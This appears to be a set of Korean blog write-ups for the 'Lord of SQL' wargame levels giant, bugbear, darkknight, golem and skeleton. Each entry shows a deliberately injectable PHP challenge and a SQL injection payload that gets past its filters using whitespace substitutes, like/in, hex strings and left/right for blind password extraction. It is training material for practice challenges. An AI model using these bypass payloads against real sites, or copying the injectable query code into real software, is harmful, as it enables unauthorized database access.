query : select 1234 fromprob_giant where 1

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(
preg_match('/ |\n|\r|\t/i'$_GET[shit])) exit("HeHe"); 
  
$query "select 1234 from{$_GET[shit]}prob_giant where 1"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result[1234]) solve("giant"); 
  
highlight_file(__FILE__); 
?>



  if($result[1234]) solve("giant"); 


 쿼리의 결과값이 뭐든 나오면 문제가 해결됩니다. 다만 from과 테이블명이 붙어있고, 그 사이에 get parameter로 받은 값을 넣게 되는데 1글자 이상 넣을 수 없고 캐리지리턴 라인피드 탭 문자는 필터링되고 있습니다. 이는 곧 white space 필터링을 우회하라는 말이 됩니다. white space는 %0a %0b %0c %0d %09 %20 등으로 사용할 수 있습니다.(자세한 내용은 los(lord of sql) level 13 - bugbear 참고)


?shit=%0b

payload










query : select id from prob_bugbear where id='guest' and pw='' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 


이번에도 blind sqli 문제입니다. pw 파라미터에 싱글쿼터, no 파라미터에 substr, ascii, =(이퀄), or, and, white space(%20), like, 0x가 필터링 되어있습니다. 


whitespace 는 %0a, %0d 등으로, =와 like는 'in'으로, 0x는 0b 등으로 치환하여 페이로드를 구성할 수 있습니다.(자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참고)



?no=1||id%0ain("admin")%26%26hex(mid(pw,1,1))%0ain(41)%23

payload










query : select id from prob_darkknight where id='guest' and pw='' and no=

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 


blind sqli 문제입니다. no 파라미터에 substr, ascii, =를 필터링하고 있습니다. 또 pw 파라미터에 싱글쿼터를 필터링하고 있습니다.


이전 문제와 같지만 싱글쿼터가 필터링 중이니 string 문자열을 hex encoding하여 페이로드를 작성합시다.



?no=1||id like 0x61646d696e%26%26right(left(pw,1),1)like(0x41)%23

payload






'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 14 - giant  (0) 2018.08.22
los(lord of sql) level 13 - bugbear  (0) 2018.08.21
los(lord of sql) level 11 - golem  (0) 2018.08.21
los(lord of sql) level 10 - skeleton  (0) 2018.08.21
los(lord of sql) level 9 - vampire  (0) 2018.08.21

query : select id from prob_golem where id='guest' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  
highlight_file(__FILE__); 
?>



  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 


blind sqli 문제네요. or, and, substr(, =를 필터링중입니다. substr이 필터링 되어있을 시 left, right를, =(이퀄)이 필터링 되어있을 시 like를 사용하여 쿼리문을 작성할 수 있습니다. (자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참조)



?pw='||id like('admin')%26%26right(left(pw,1),1)like(0x41)%23

payload









query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>



  if($result['id'] == 'admin'solve("skeleton"); 


쿼리의 결과값 id가 admin이면 됩니다. 소괄호를 필터링 중이고 pw 파라미터가 오는 곳 뒤에 and 1=0이 되어있습니다. 뒤를 무력화시켜야겠군요. 앞선 문제와 똑같은 페이로드로 문제를 해결할 수 있습니다.


?pw='||id='admin'%23 

payload









'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 12 - darkknight  (0) 2018.08.21
los(lord of sql) level 11 - golem  (0) 2018.08.21
los(lord of sql) level 9 - vampire  (0) 2018.08.21
los(lord of sql) level 8 - troll  (0) 2018.08.21
los(lord of sql) level 7 - orge  (0) 2018.08.21

+ Recent posts